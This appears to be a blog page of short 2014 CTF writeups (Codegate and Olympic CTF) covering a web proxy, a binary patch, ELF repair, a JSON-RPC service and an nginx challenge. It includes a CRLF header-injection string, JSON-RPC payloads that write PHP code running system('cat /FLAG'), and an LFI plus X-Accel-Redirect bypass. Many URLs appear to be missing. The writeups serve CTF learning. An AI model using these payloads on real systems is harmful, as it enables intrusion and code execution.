A disturbing lack of taste. Just another WordPress site


Codegate CTF Preliminary 2014 – Web Proxy Writeup

In this task a web proxy is given:

It has a GET parameter "url":

It prints the headers + part of the body. We can easly enter the admin page with:

but since the body isn't printed we can't see all the response. After a bit of testing it pointed out that a CRLF injection was possible so we can split the body with Range: header.


Since it wants Host header to be "hackme" lets do it: HTTP/1.0%0D%0AHost:%20hackme%0D%0ARange:%20bytes=88-127%0D%0AConnection: close%0d%0a%0D%0A

Flag: WH0_IS_SnUS_bI1G_F4N


Filed under: Uncategorized 5 Comments

Codegate CTF Preliminary 2014 – Clone Technique Writeup

The task gave us a binary that creates a maximum of 400 threads where each one is started with 3 arguments that differs every time a new child process is started. The last arguments is used as a "counter" and the first 2 is used as seed for generate the flag. We have to know which thread has correct arguments that lead us the flag. The routine that calculate the flag is at 0x401070. In this routine , as we said before, the function uses our 2 arguments we passed to the program at the start and do some math on them to generate a sequence that will be placed at ebp-4 (0x0012fecc). Now for find out which thread has correct values to print the flag just make a JMP before the RET of this function to somewhere in the binary were we can print the flag  such as a message box or write into a file.


As in the image, after the program return from 0x401070 in EAX still remain the address that points to the flag so we gonna jump to a place of memory where we previously placed our piece of asm code that will print the flag like 0x0040563a.

Now just run the program and see the result till a human readable text comes up.


Filed under: Uncategorized No Comments

Olympic CTF Sochi 2014 – Elf Quest 2 Writeup

As task hints the challenge it is composed of three parts:

1)  restore the origianl ELF header that has been corrupted by placing some 'CC' in it comparing it with another ELF header that is known to be correct. (Corrupted part are for example SO/ABI part, version, class,...)

2) after restoring the program and running it will ask us for a passphrase used to decrypt some data in it. After it decrypts the block it will show up that is is another ELF header with something hidden in it.

3) like in the previous version of elf quest we have to find a way to extract some information from it. Now counting the number of times that each byte occurs like: 0x00 100 times or 0xff 5 times etc... we'll get another corrupted ELF header but this time it contains a small decryption routine that will prints out the flag: CTF{bf7475cb1733885d35b60e13bc2d7b8f}


Filed under: Uncategorized 2 Comments

Olympic CTF Sochi 2014 – RPC Writeup

This challenge was about injecting JSON-RPC string that will be parsed by the server. After some investigation we found out that __construct and __wakeup method can be used and need the following parameters: log_dir, debug and state:

rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":[1,2,3]}

We then immediatly tought pointing log_dir somewhere around our control like '/var/www' to try to see if some thing is uploaded:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":1}}]

but nothing happened. We then tought that our file is deleted after the termination of the script so we run a py script that loops request on /test.php and prints out the result in a race condition situation:

import requests

while 1:
r = requests.get("")
if r.status_code!=404:
print r.text

But even this didn't worked. So we tryed to send a second RPC request to the server with the first one:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":1}},{"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]

and this worked! We can see a serialized object of the state we sent ("state":1) in the file. So having the arbitrary control of the state and the ability to put also strings we can now inject PHP code into it:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":"<?php system('cat /FLAG');?>"}},{"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]

If you run this payload while our py script is running you will see that it will print the flag:


nurfed, Razor4x

Filed under: Uncategorized No Comments

Olympic CTF Sochi 2014 – xnginx Writeup

The task provide us a website where we can go trought some different outputs:

After testing a bit on that parameter it pointed out that there was a LFI there:

As challenge hints us, and by the way you can reache it from HTTP headers, the server running was nginx so we co ahead find its configuration file:

Now we can see that in "/etc/nginx/sites-enabled/" path there was the sites that nginx enabled to browse.

Opening the default one:

we can see an interesting thing:

location = /secret/flag {
root /home;

path for access the flag is but since its marked with "internal" we aren't able to access it. We'll be able to do that trought CRLF in "retpath" parameter

injecting X-Accel-Redirect for bypassing this:

Flag: CTF{6e75d02b8e8329bb4b45c7dabd2e1da2}


Filed under: Uncategorized No Comments